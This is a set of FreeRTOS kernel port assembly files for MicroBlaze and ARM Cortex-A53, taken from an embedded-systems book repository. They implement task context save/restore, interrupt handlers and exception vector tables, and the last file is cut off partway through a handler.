#(SpinLockUnlocked) /* Store value with release ordering. */ stlr w1, [x0] ret
PacktPublishing/Architecting-High-Performance-Embedded-Systems
10,151
Chapter05/src/oscilloscope-software/design_1_wrapper/microblaze_0/domain_microblaze_0/bsp/microblaze_0/libsrc/freertos10_xilinx_v1_6/src/portasm.S
/* * FreeRTOS Kernel V10.3.0 * Copyright (C) 2020 Amazon.com, Inc. or its affiliates. All Rights Reserved. * * Permission is hereby granted, free of charge, to any person obtaining a copy of * this software and associated documentation files (the "Software"), to deal in * the Software without restriction, including without limitation the rights to * use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of * the Software, and to permit persons to whom the Software is furnished to do so, * subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS * FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR * COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER * IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN * CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. * * http://www.FreeRTOS.org * http://aws.amazon.com/freertos * * 1 tab == 4 spaces! */ /* FreeRTOS includes. */ #include "FreeRTOSConfig.h" /* Xilinx library includes. */ #include "microblaze_exceptions_g.h" #include "xparameters.h" #include "microblaze_instructions.h" /* The context is oversized to allow functions called from the ISR to write back into the caller stack. */ #if defined (__arch64__) #if( XPAR_MICROBLAZE_USE_FPU != 0 ) #define portCONTEXT_SIZE 272 #define portMINUS_CONTEXT_SIZE -272 #else #define portCONTEXT_SIZE 264 #define portMINUS_CONTEXT_SIZE -264 #endif #else #if( XPAR_MICROBLAZE_USE_FPU != 0 ) #define portCONTEXT_SIZE 136 #define portMINUS_CONTEXT_SIZE -136 #else #define portCONTEXT_SIZE 132 #define portMINUS_CONTEXT_SIZE -132 #endif #endif /* Offsets from the stack pointer at which saved registers are placed. */ #if defined (__arch64__) #define portR31_OFFSET 8 #define portR30_OFFSET 16 #define portR29_OFFSET 24 #define portR28_OFFSET 32 #define portR27_OFFSET 40 #define portR26_OFFSET 48 #define portR25_OFFSET 56 #define portR24_OFFSET 64 #define portR23_OFFSET 72 #define portR22_OFFSET 80 #define portR21_OFFSET 88 #define portR20_OFFSET 96 #define portR19_OFFSET 104 #define portR18_OFFSET 112 #define portR17_OFFSET 120 #define portR16_OFFSET 128 #define portR15_OFFSET 136 #define portR14_OFFSET 144 #define portR13_OFFSET 152 #define portR12_OFFSET 160 #define portR11_OFFSET 168 #define portR10_OFFSET 176 #define portR9_OFFSET 184 #define portR8_OFFSET 192 #define portR7_OFFSET 200 #define portR6_OFFSET 208 #define portR5_OFFSET 216 #define portR4_OFFSET 224 #define portR3_OFFSET 232 #define portR2_OFFSET 240 #define portCRITICAL_NESTING_OFFSET 248 #define portMSR_OFFSET 256 #define portFSR_OFFSET 264 #else #define portR31_OFFSET 4 #define portR30_OFFSET 8 #define portR29_OFFSET 12 #define portR28_OFFSET 16 #define portR27_OFFSET 20 #define portR26_OFFSET 24 #define portR25_OFFSET 28 #define portR24_OFFSET 32 #define portR23_OFFSET 36 #define portR22_OFFSET 40 #define portR21_OFFSET 44 #define portR20_OFFSET 48 #define portR19_OFFSET 52 #define portR18_OFFSET 56 #define portR17_OFFSET 60 #define portR16_OFFSET 64 #define portR15_OFFSET 68 #define portR14_OFFSET 72 #define portR13_OFFSET 76 #define portR12_OFFSET 80 #define portR11_OFFSET 84 #define portR10_OFFSET 88 #define portR9_OFFSET 92 #define portR8_OFFSET 96 #define portR7_OFFSET 100 #define portR6_OFFSET 104 #define portR5_OFFSET 108 #define portR4_OFFSET 112 #define portR3_OFFSET 116 #define portR2_OFFSET 120 #define portCRITICAL_NESTING_OFFSET 124 #define portMSR_OFFSET 128 #define portFSR_OFFSET 132 #endif .extern pxCurrentTCB .extern XIntc_DeviceInterruptHandler .extern vTaskSwitchContext .extern uxCriticalNesting .extern pulISRStack .extern ulTaskSwitchRequested .extern vPortExceptionHandler .extern pulStackPointerOnFunctionEntry .global _interrupt_handler .global VPortYieldASM .global vPortStartFirstTask .global vPortExceptionHandlerEntry .macro portSAVE_CONTEXT /* Make room for the context on the stack. */ ADDLIK r1, r1, portMINUS_CONTEXT_SIZE /* Stack general registers. */ SI r31, r1, portR31_OFFSET SI r30, r1, portR30_OFFSET SI r29, r1, portR29_OFFSET SI r28, r1, portR28_OFFSET SI r27, r1, portR27_OFFSET SI r26, r1, portR26_OFFSET SI r25, r1, portR25_OFFSET SI r24, r1, portR24_OFFSET SI r23, r1, portR23_OFFSET SI r22, r1, portR22_OFFSET SI r21, r1, portR21_OFFSET SI r20, r1, portR20_OFFSET SI r19, r1, portR19_OFFSET SI r18, r1, portR18_OFFSET SI r17, r1, portR17_OFFSET SI r16, r1, portR16_OFFSET SI r15, r1, portR15_OFFSET /* R14 is saved later as it needs adjustment if a yield is performed. */ SI r13, r1, portR13_OFFSET SI r12, r1, portR12_OFFSET SI r11, r1, portR11_OFFSET SI r10, r1, portR10_OFFSET SI r9, r1, portR9_OFFSET SI r8, r1, portR8_OFFSET SI r7, r1, portR7_OFFSET SI r6, r1, portR6_OFFSET SI r5, r1, portR5_OFFSET SI r4, r1, portR4_OFFSET SI r3, r1, portR3_OFFSET SI r2, r1, portR2_OFFSET /* Stack the critical section nesting value. */ LI r18, r0, uxCriticalNesting SI r18, r1, portCRITICAL_NESTING_OFFSET /* Stack MSR. */ mfs r18, rmsr SI r18, r1, portMSR_OFFSET #if( XPAR_MICROBLAZE_USE_FPU != 0 ) /* Stack FSR. */ mfs r18, rfsr SI r18, r1, portFSR_OFFSET #endif /* Save the top of stack value to the TCB. */ LI r3, r0, pxCurrentTCB STORE r1, r0, r3 .endm .macro portRESTORE_CONTEXT /* Load the top of stack value from the TCB. */ LI r18, r0, pxCurrentTCB LOAD r1, r0, r18 /* Restore the general registers. */ LI r31, r1, portR31_OFFSET LI r30, r1, portR30_OFFSET LI r29, r1, portR29_OFFSET LI r28, r1, portR28_OFFSET LI r27, r1, portR27_OFFSET LI r26, r1, portR26_OFFSET LI r25, r1, portR25_OFFSET LI r24, r1, portR24_OFFSET LI r23, r1, portR23_OFFSET LI r22, r1, portR22_OFFSET LI r21, r1, portR21_OFFSET LI r20, r1, portR20_OFFSET LI r19, r1, portR19_OFFSET LI r17, r1, portR17_OFFSET LI r16, r1, portR16_OFFSET LI r15, r1, portR15_OFFSET LI r14, r1, portR14_OFFSET LI r13, r1, portR13_OFFSET LI r12, r1, portR12_OFFSET LI r11, r1, portR11_OFFSET LI r10, r1, portR10_OFFSET LI r9, r1, portR9_OFFSET LI r8, r1, portR8_OFFSET LI r7, r1, portR7_OFFSET LI r6, r1, portR6_OFFSET LI r5, r1, portR5_OFFSET LI r4, r1, portR4_OFFSET LI r3, r1, portR3_OFFSET LI r2, r1, portR2_OFFSET /* Reload the rmsr from the stack. */ LI r18, r1, portMSR_OFFSET mts rmsr, r18 #if( XPAR_MICROBLAZE_USE_FPU != 0 ) /* Reload the FSR from the stack. */ LI r18, r1, portFSR_OFFSET mts rfsr, r18 #endif /* Load the critical nesting value. */ LI r18, r1, portCRITICAL_NESTING_OFFSET SI r18, r0, uxCriticalNesting /* Test the critical nesting value. If it is non zero then the task last exited the running state using a yield. If it is zero, then the task last exited the running state through an interrupt. */ XORI r18, r18, 0 BNEI r18, exit_from_yield /* r18 was being used as a temporary. Now restore its true value from the stack. */ LI r18, r1, portR18_OFFSET /* Remove the stack frame. */ ADDLIK r1, r1, portCONTEXT_SIZE /* Return using rtid so interrupts are re-enabled as this function is exited. */ rtid r14, 0 OR r0, r0, r0 .endm /* This function is used to exit portRESTORE_CONTEXT() if the task being returned to last left the Running state by calling taskYIELD() (rather than being preempted by an interrupt). */ .text #ifdef __arch64__ .align 8 #else .align 4 #endif exit_from_yield: /* r18 was being used as a temporary. Now restore its true value from the stack. */ LI r18, r1, portR18_OFFSET /* Remove the stack frame. */ ADDLIK r1, r1, portCONTEXT_SIZE /* Return to the task. */ rtsd r14, 0 OR r0, r0, r0 .text #ifdef __arch64__ .align 8 #else .align 4 #endif _interrupt_handler: portSAVE_CONTEXT /* Stack the return address. */ SI r14, r1, portR14_OFFSET /* Switch to the ISR stack. */ LI r1, r0, pulISRStack /* The parameter to the interrupt handler. */ ORI r5, r0, configINTERRUPT_CONTROLLER_TO_USE /* Execute any pending interrupts. */ BRALID r15, XIntc_DeviceInterruptHandler OR r0, r0, r0 /* See if a new task should be selected to execute. */ LI r18, r0, ulTaskSwitchRequested OR r18, r18, r0 /* If ulTaskSwitchRequested is already zero, then jump straight to restoring the task that is already in the Running state. */ BEQI r18, task_switch_not_requested /* Set ulTaskSwitchRequested back to zero as a task switch is about to be performed. */ SI r0, r0, ulTaskSwitchRequested /* ulTaskSwitchRequested was not 0 when tested. Select the next task to execute. */ BRALID r15, vTaskSwitchContext OR r0, r0, r0 task_switch_not_requested: /* Restore the context of the next task scheduled to execute. */ portRESTORE_CONTEXT .text #ifdef __arch64__ .align 8 #else .align 4 #endif VPortYieldASM: portSAVE_CONTEXT /* Modify the return address so a return is done to the instruction after the call to VPortYieldASM. */ ADDI r14, r14, 8 SI r14, r1, portR14_OFFSET /* Switch to use the ISR stack. */ LI r1, r0, pulISRStack /* Select the next task to execute. */ BRALID r15, vTaskSwitchContext OR r0, r0, r0 /* Restore the context of the next task scheduled to execute. */ portRESTORE_CONTEXT .text #ifdef __arch64__ .align 8 #else .align 4 #endif vPortStartFirstTask: portRESTORE_CONTEXT #if ( MICROBLAZE_EXCEPTIONS_ENABLED == 1 ) && ( configINSTALL_EXCEPTION_HANDLERS == 1 ) .text #ifdef __arch64__ .align 8 #else .align 4 #endif vPortExceptionHandlerEntry: /* Take a copy of the stack pointer before vPortExecptionHandler is called, storing its value prior to the function stack frame being created. */ SI r1, r0, pulStackPointerOnFunctionEntry BRALID r15, vPortExceptionHandler OR r0, r0, r0 #endif /* ( MICROBLAZE_EXCEPTIONS_ENABLED == 1 ) && ( configINSTALL_EXCEPTION_HANDLERS == 1 ) */
PacktPublishing/Architecting-High-Performance-Embedded-Systems
11,706
Chapter05/src/oscilloscope-software/design_1_wrapper/microblaze_0/domain_microblaze_0/bsp/microblaze_0/libsrc/freertos10_xilinx_v1_6/src/Source/portable/GCC/ARM_CA53/portASM.S
/* * FreeRTOS Kernel V10.3.0 * Copyright (C) 2020 Amazon.com, Inc. or its affiliates. All Rights Reserved. * Copyright (C) 2014 - 2020 Xilinx, Inc. All rights reserved. * * Permission is hereby granted, free of charge, to any person obtaining a copy of * this software and associated documentation files (the "Software"), to deal in * the Software without restriction, including without limitation the rights to * use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of * the Software, and to permit persons to whom the Software is furnished to do so, * subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS * FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR * COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER * IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN * CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. * * http://www.FreeRTOS.org * http://aws.amazon.com/freertos * * 1 tab == 4 spaces! */ #if defined (versal) && !defined(ARMR5) #define GICv3 #else #define GICv2 #endif .text /* Variables and functions. */ .extern ullMaxAPIPriorityMask .extern pxCurrentTCB .extern vTaskSwitchContext .extern vApplicationIRQHandler .extern ullPortInterruptNesting .extern ullPortTaskHasFPUContext .extern ullCriticalNesting .extern ullPortYieldRequired .extern ullICCEOIR .extern ullICCIAR .extern _freertos_vector_table .global FreeRTOS_IRQ_Handler .global FreeRTOS_SWI_Handler .global vPortRestoreTaskContext .macro portSAVE_CONTEXT /* Switch to use the EL0 stack pointer. */ MSR SPSEL, #0 /* Save the entire context. */ STP X0, X1, [SP, #-0x10]! STP X2, X3, [SP, #-0x10]! STP X4, X5, [SP, #-0x10]! STP X6, X7, [SP, #-0x10]! STP X8, X9, [SP, #-0x10]! STP X10, X11, [SP, #-0x10]! STP X12, X13, [SP, #-0x10]! STP X14, X15, [SP, #-0x10]! STP X16, X17, [SP, #-0x10]! STP X18, X19, [SP, #-0x10]! STP X20, X21, [SP, #-0x10]! STP X22, X23, [SP, #-0x10]! STP X24, X25, [SP, #-0x10]! STP X26, X27, [SP, #-0x10]! STP X28, X29, [SP, #-0x10]! STP X30, XZR, [SP, #-0x10]! /* Save the SPSR. */ #if defined( GUEST ) MRS X3, SPSR_EL1 MRS X2, ELR_EL1 #else MRS X3, SPSR_EL3 /* Save the ELR. */ MRS X2, ELR_EL3 #endif STP X2, X3, [SP, #-0x10]! /* Save the critical section nesting depth. */ LDR X0, ullCriticalNestingConst LDR X3, [X0] /* Save the FPU context indicator. */ LDR X0, ullPortTaskHasFPUContextConst LDR X2, [X0] /* Save the FPU context, if any (32 128-bit registers). */ CMP X2, #0 B.EQ 1f STP Q0, Q1, [SP,#-0x20]! STP Q2, Q3, [SP,#-0x20]! STP Q4, Q5, [SP,#-0x20]! STP Q6, Q7, [SP,#-0x20]! STP Q8, Q9, [SP,#-0x20]! STP Q10, Q11, [SP,#-0x20]! STP Q12, Q13, [SP,#-0x20]! STP Q14, Q15, [SP,#-0x20]! STP Q16, Q17, [SP,#-0x20]! STP Q18, Q19, [SP,#-0x20]! STP Q20, Q21, [SP,#-0x20]! STP Q22, Q23, [SP,#-0x20]! STP Q24, Q25, [SP,#-0x20]! STP Q26, Q27, [SP,#-0x20]! STP Q28, Q29, [SP,#-0x20]! STP Q30, Q31, [SP,#-0x20]! 1: /* Store the critical nesting count and FPU context indicator. */ STP X2, X3, [SP, #-0x10]! LDR X0, pxCurrentTCBConst LDR X1, [X0] MOV X0, SP /* Move SP into X0 for saving. */ STR X0, [X1] /* Switch to use the ELx stack pointer. */ MSR SPSEL, #1 .endm ; /**********************************************************************/ .macro portRESTORE_CONTEXT /* Switch to use the EL0 stack pointer. */ MSR SPSEL, #0 /* Set the SP to point to the stack of the task being restored. */ LDR X0, pxCurrentTCBConst LDR X1, [X0] LDR X0, [X1] MOV SP, X0 LDP X2, X3, [SP], #0x10 /* Critical nesting and FPU context. */ /* Set the PMR register to be correct for the current critical nesting depth. */ LDR X0, ullCriticalNestingConst /* X0 holds the address of ullCriticalNesting. */ MOV X1, #255 /* X1 holds the unmask value. */ #if defined(GICv2) LDR X4, ullICCPMRConst /* X4 holds the address of the ICCPMR constant. */ CMP X3, #0 LDR X5, [X4] /* X5 holds the address of the ICCPMR register. */ B.EQ 1f LDR X6, ullMaxAPIPriorityMaskConst LDR X1, [X6] /* X1 holds the mask value. */ 1: STR W1, [X5] /* Write the mask value to ICCPMR. */ #else CMP X3, #0 B.EQ 2f LDR X6, ullMaxAPIPriorityMaskConst LDR X1, [X6] /* X1 holds the mask value. */ 2: MSR S3_0_C4_C6_0, X1 #endif DSB SY /* _RB_Barriers probably not required here. */ ISB SY STR X3, [X0] /* Restore the task's critical nesting count. */ /* Restore the FPU context indicator. */ LDR X0, ullPortTaskHasFPUContextConst STR X2, [X0] /* Restore the FPU context, if any. */ CMP X2, #0 B.EQ 1f LDP Q30, Q31, [SP], #0x20 LDP Q28, Q29, [SP], #0x20 LDP Q26, Q27, [SP], #0x20 LDP Q24, Q25, [SP], #0x20 LDP Q22, Q23, [SP], #0x20 LDP Q20, Q21, [SP], #0x20 LDP Q18, Q19, [SP], #0x20 LDP Q16, Q17, [SP], #0x20 LDP Q14, Q15, [SP], #0x20 LDP Q12, Q13, [SP], #0x20 LDP Q10, Q11, [SP], #0x20 LDP Q8, Q9, [SP], #0x20 LDP Q6, Q7, [SP], #0x20 LDP Q4, Q5, [SP], #0x20 LDP Q2, Q3, [SP], #0x20 LDP Q0, Q1, [SP], #0x20 1: LDP X2, X3, [SP], #0x10 /* SPSR and ELR. */ #if defined( GUEST ) /* Restore the SPSR. */ MSR SPSR_EL1, X3 /* Restore the ELR. */ MSR ELR_EL1, X2 #else /* Restore the SPSR. */ MSR SPSR_EL3, X3 /*_RB_ Assumes started in EL3. */ /* Restore the ELR. */ MSR ELR_EL3, X2 #endif LDP X30, XZR, [SP], #0x10 LDP X28, X29, [SP], #0x10 LDP X26, X27, [SP], #0x10 LDP X24, X25, [SP], #0x10 LDP X22, X23, [SP], #0x10 LDP X20, X21, [SP], #0x10 LDP X18, X19, [SP], #0x10 LDP X16, X17, [SP], #0x10 LDP X14, X15, [SP], #0x10 LDP X12, X13, [SP], #0x10 LDP X10, X11, [SP], #0x10 LDP X8, X9, [SP], #0x10 LDP X6, X7, [SP], #0x10 LDP X4, X5, [SP], #0x10 LDP X2, X3, [SP], #0x10 LDP X0, X1, [SP], #0x10 /* Switch to use the ELx stack pointer. _RB_ Might not be required. */ MSR SPSEL, #1 ERET .endm /****************************************************************************** * FreeRTOS_SWI_Handler handler is used to perform a context switch. *****************************************************************************/ .align 8 .type FreeRTOS_SWI_Handler, %function FreeRTOS_SWI_Handler: /* Save the context of the current task and select a new task to run. */ portSAVE_CONTEXT #if defined( GUEST ) MRS X0, ESR_EL1 #else MRS X0, ESR_EL3 #endif LSR X1, X0, #26 #if defined( GUEST ) CMP X1, #0x15 /* 0x15 = SVC instruction. */ #else CMP X1, #0x17 /* 0x17 = SMC instruction. */ #endif B.NE FreeRTOS_Abort BL vTaskSwitchContext portRESTORE_CONTEXT FreeRTOS_Abort: /* Full ESR is in X0, exception class code is in X1. */ B . /****************************************************************************** * vPortRestoreTaskContext is used to start the scheduler. *****************************************************************************/ .align 8 .type vPortRestoreTaskContext, %function vPortRestoreTaskContext: .set freertos_vector_base, _freertos_vector_table /* Install the FreeRTOS interrupt handlers. */ LDR X1, =freertos_vector_base #if defined( GUEST ) MSR VBAR_EL1, X1 #else MSR VBAR_EL3, X1 #endif DSB SY ISB SY /* Start the first task. */ portRESTORE_CONTEXT /****************************************************************************** * FreeRTOS_IRQ_Handler handles IRQ entry and exit. *****************************************************************************/ .align 8 .type FreeRTOS_IRQ_Handler, %function FreeRTOS_IRQ_Handler: /* Save volatile registers. */ STP X0, X1, [SP, #-0x10]! STP X2, X3, [SP, #-0x10]! STP X4, X5, [SP, #-0x10]! STP X6, X7, [SP, #-0x10]! STP X8, X9, [SP, #-0x10]! STP X10, X11, [SP, #-0x10]! STP X12, X13, [SP, #-0x10]! STP X14, X15, [SP, #-0x10]! STP X16, X17, [SP, #-0x10]! STP X18, X19, [SP, #-0x10]! STP X29, X30, [SP, #-0x10]! /* Save the SPSR and ELR. */ #if defined( GUEST ) MRS X3, SPSR_EL1 MRS X2, ELR_EL1 #else MRS X3, SPSR_EL3 MRS X2, ELR_EL3 #endif STP X2, X3, [SP, #-0x10]! /* Increment the interrupt nesting counter. */ LDR X5, ullPortInterruptNestingConst LDR X1, [X5] /* Old nesting count in X1. */ ADD X6, X1, #1 STR X6, [X5] /* Address of nesting count variable in X5. */ /* Maintain the interrupt nesting information across the function call. */ STP X1, X5, [SP, #-0x10]! /* Read value from the interrupt acknowledge register, which is stored in W0 for future parameter and interrupt clearing use. */ #if defined(GICv2) LDR X2, ullICCIARConst LDR X3, [X2] LDR W0, [X3] /* ICCIAR in W0 as parameter. */ #else MRS X0, S3_0_C12_C8_0 #endif /* ICCIAR in W0 as parameter. */ /* Maintain the ICCIAR value across the function call. */ STP X0, X1, [SP, #-0x10]! /* Call the C handler. */ BL vApplicationIRQHandler /* Disable interrupts. */ #if defined(GICv2) MSR DAIFSET, #3 #else MSR DAIFSET, #2 #endif DSB SY ISB SY /* Restore the ICCIAR value. */ LDP X0, X1, [SP], #0x10 /* End IRQ processing by writing ICCIAR to the EOI register. */ #if defined(GICv2) LDR X4, ullICCEOIRConst LDR X4, [X4] STR W0, [X4] #else MSR S3_0_C12_C8_1, X0 #endif /* Restore the critical nesting count. */ LDP X1, X5, [SP], #0x10 STR X1, [X5] /* Has interrupt nesting unwound? */ CMP X1, #0 B.NE Exit_IRQ_No_Context_Switch /* Is a context switch required? */ LDR X0, ullPortYieldRequiredConst LDR X1, [X0] CMP X1, #0 B.EQ Exit_IRQ_No_Context_Switch /* Reset ullPortYieldRequired to 0. */ MOV X2, #0 STR X2, [X0] /* Restore volatile registers. */ LDP X4, X5, [SP], #0x10 /* SPSR and ELR. */ #if defined( GUEST ) MSR SPSR_EL1, X5 MSR ELR_EL1, X4 #else MSR SPSR_EL3, X5 /*_RB_ Assumes started in EL3. */ MSR ELR_EL3, X4 #endif DSB SY ISB SY LDP X29, X30, [SP], #0x10 LDP X18, X19, [SP], #0x10 LDP X16, X17, [SP], #0x10 LDP X14, X15, [SP], #0x10 LDP X12, X13, [SP], #0x10 LDP X10, X11, [SP], #0x10 LDP X8, X9, [SP], #0x10 LDP X6, X7, [SP], #0x10 LDP X4, X5, [SP], #0x10 LDP X2, X3, [SP], #0x10 LDP X0, X1, [SP], #0x10 /* Save the context of the current task and select a new task to run. */ portSAVE_CONTEXT BL vTaskSwitchContext portRESTORE_CONTEXT Exit_IRQ_No_Context_Switch: /* Restore volatile registers. */ LDP X4, X5, [SP], #0x10 /* SPSR and ELR. */ #if defined( GUEST ) MSR SPSR_EL1, X5 MSR ELR_EL1, X4 #else MSR SPSR_EL3, X5 /*_RB_ Assumes started in EL3. */ MSR ELR_EL3, X4 #endif DSB SY ISB SY LDP X29, X30, [SP], #0x10 LDP X18, X19, [SP], #0x10 LDP X16, X17, [SP], #0x10 LDP X14, X15, [SP], #0x10 LDP X12, X13, [SP], #0x10 LDP X10, X11, [SP], #0x10 LDP X8, X9, [SP], #0x10 LDP X6, X7, [SP], #0x10 LDP X4, X5, [SP], #0x10 LDP X2, X3, [SP], #0x10 LDP X0, X1, [SP], #0x10 ERET .align 8 pxCurrentTCBConst: .dword pxCurrentTCB ullCriticalNestingConst: .dword ullCriticalNesting ullPortTaskHasFPUContextConst: .dword ullPortTaskHasFPUContext ullMaxAPIPriorityMaskConst: .dword ullMaxAPIPriorityMask vApplicationIRQHandlerConst: .dword vApplicationIRQHandler ullPortInterruptNestingConst: .dword ullPortInterruptNesting ullPortYieldRequiredConst: .dword ullPortYieldRequired #if defined(GICv2) ullICCPMRConst: .dword ullICCPMR ullICCIARConst: .dword ullICCIAR ullICCEOIRConst: .dword ullICCEOIR #endif .end
PacktPublishing/Architecting-High-Performance-Embedded-Systems
6,362
Chapter05/src/oscilloscope-software/design_1_wrapper/microblaze_0/domain_microblaze_0/bsp/microblaze_0/libsrc/freertos10_xilinx_v1_6/src/Source/portable/GCC/ARM_CA53/port_asm_vectors.S
/****************************************************************************** * * Copyright (C) 2020 Amazon.com, Inc. or its affiliates. All Rights Reserved. * Copyright (C) 2014 - 2020 Xilinx, Inc. All rights reserved. * * Permission is hereby granted, free of charge, to any person obtaining a copy of * this software and associated documentation files (the "Software"), to deal in * the Software without restriction, including without limitation the rights to * use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of * the Software, and to permit persons to whom the Software is furnished to do so, * subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS * FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR * COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER * IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN * CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. * * http://www.FreeRTOS.org * http://aws.amazon.com/freertos * * 1 tab == 4 spaces! * ******************************************************************************/ /*****************************************************************************/ /** * @file asm_vectors.s * * This file contains the initial vector table for the Cortex A53 processor * Currently NEON registers are not saved on stack if interrupt is taken. * It will be implemented. * * <pre> * MODIFICATION HISTORY: * * Ver Who Date Changes * ----- ------- -------- --------------------------------------------------- * 5.00 pkp 5/21/14 Initial version * </pre> * * @note * * None. * ******************************************************************************/ #if defined (versal) && !defined(ARMR5) #define GICv3 #else #define GICv2 #endif .org 0 .text .globl _boot .globl _vector_table .globl _freertos_vector_table .globl FIQInterrupt .globl IRQInterrupt .globl SErrorInterrupt .globl SynchronousInterrupt .org 0 .section .vectors, "a" _vector_table: .set VBAR, _vector_table .org VBAR b _boot .org (VBAR + 0x80) b . .org (VBAR + 0x100) b . .org (VBAR + 0x180) b . .org (VBAR + 0x200) b . .org (VBAR + 0x280) b . .org (VBAR + 0x300) b . .org (VBAR + 0x380) b . .org (VBAR + 0x400) b . .org (VBAR + 0x480) b . .org (VBAR + 0x500) b . .org (VBAR + 0x580) b . .org (VBAR + 0x600) b . .org (VBAR + 0x680) b . .org (VBAR + 0x700) b . .org (VBAR + 0x780) b . /****************************************************************************** * Vector table to use when FreeRTOS is running. *****************************************************************************/ .set FREERTOS_VBAR, (VBAR+0x1000) .org(FREERTOS_VBAR) _freertos_vector_table: b FreeRTOS_SWI_Handler .org (FREERTOS_VBAR + 0x80) b FreeRTOS_IRQ_Handler .org (FREERTOS_VBAR + 0x100) #if defined(GICv3) b FreeRTOS_IRQ_Handler #else b . #endif .org (FREERTOS_VBAR + 0x180) b . .org (FREERTOS_VBAR + 0x200) b FreeRTOS_SWI_Handler .org (FREERTOS_VBAR + 0x280) b FreeRTOS_IRQ_Handler .org (FREERTOS_VBAR + 0x300) b FreeRTOS_IRQ_Handler .org (FREERTOS_VBAR + 0x380) b . .org (FREERTOS_VBAR + 0x400) b . .org (FREERTOS_VBAR + 0x480) b . .org (FREERTOS_VBAR + 0x500) b . .org (FREERTOS_VBAR + 0x580) b . .org (FREERTOS_VBAR + 0x600) b . .org (FREERTOS_VBAR + 0x680) b . .org (FREERTOS_VBAR + 0x700) b . .org (FREERTOS_VBAR + 0x780) b . .org (FREERTOS_VBAR + 0x800) SynchronousInterruptHandler: stp X0,X1, [sp,#-0x10]! stp X2,X3, [sp,#-0x10]! stp X4,X5, [sp,#-0x10]! stp X6,X7, [sp,#-0x10]! stp X8,X9, [sp,#-0x10]! stp X10,X11, [sp,#-0x10]! stp X12,X13, [sp,#-0x10]! stp X14,X15, [sp,#-0x10]! stp X16,X17, [sp,#-0x10]! stp X18,X19, [sp,#-0x10]! stp X29,X30, [sp,#-0x10]! bl SynchronousInterrupt ldp X29,X30, [sp], #0x10 ldp X18,X19, [sp], #0x10 ldp X16,X17, [sp], #0x10 ldp X14,X15, [sp], #0x10 ldp X12,X13, [sp], #0x10 ldp X10,X11, [sp], #0x10 ldp X8,X9, [sp], #0x10 ldp X6,X7, [sp], #0x10 ldp X4,X5, [sp], #0x10 ldp X2,X3, [sp], #0x10 ldp X0,X1, [sp], #0x10 eret IRQInterruptHandler: stp X0,X1, [sp,#-0x10]! stp X2,X3, [sp,#-0x10]! stp X4,X5, [sp,#-0x10]! stp X6,X7, [sp,#-0x10]! stp X8,X9, [sp,#-0x10]! stp X10,X11, [sp,#-0x10]! stp X12,X13, [sp,#-0x10]! stp X14,X15, [sp,#-0x10]! stp X16,X17, [sp,#-0x10]! stp X18,X19, [sp,#-0x10]! stp X29,X30, [sp,#-0x10]! bl IRQInterrupt ldp X29,X30, [sp], #0x10 ldp X18,X19, [sp], #0x10 ldp X16,X17, [sp], #0x10 ldp X14,X15, [sp], #0x10 ldp X12,X13, [sp], #0x10 ldp X10,X11, [sp], #0x10 ldp X8,X9, [sp], #0x10 ldp X6,X7, [sp], #0x10 ldp X4,X5, [sp], #0x10 ldp X2,X3, [sp], #0x10 ldp X0,X1, [sp], #0x10 eret FIQInterruptHandler: stp X0,X1, [sp,#-0x10]! stp X2,X3, [sp,#-0x10]! stp X4,X5, [sp,#-0x10]! stp X6,X7, [sp,#-0x10]! stp X8,X9, [sp,#-0x10]! stp X10,X11, [sp,#-0x10]! stp X12,X13, [sp,#-0x10]! stp X14,X15, [sp,#-0x10]! stp X16,X17, [sp,#-0x10]! stp X18,X19, [sp,#-0x10]! stp X29,X30, [sp,#-0x10]! bl FIQInterrupt ldp X29,X30, [sp], #0x10 ldp X18,X19, [sp], #0x10 ldp X16,X17, [sp], #0x10 ldp X14,X15, [sp], #0x10 ldp X12,X13, [sp], #0x10 ldp X10,X11, [sp], #0x10 ldp X8,X9, [sp], #0x10 ldp X6,X7, [sp], #0x10 ldp X4,X5, [sp], #0x10 ldp X2,X3, [sp], #0x10 ldp X0,X1, [sp], #0x10 eret SErrorInterruptHandler: stp X0,X1, [sp,#-0x10]! stp X2,X3, [sp,#-0x10]! stp X4,X5, [sp,#-0x10]! stp X6,X7, [sp,#-0x10]! stp X8,X9, [sp,#-0x10]! stp X10,X11, [sp,#-0x10]! stp X12,X13, [sp,#-0x10]! stp X14,X15, [sp,#-0x10]! stp X16,X17, [sp,#-0x10]! stp X18,X19, [sp,#-0x10]! stp X29,X30, [sp,#-0x10]! bl SErrorInterrupt ldp X29,X30, [sp], #0x10 ldp X18,X19, [sp], #0x10 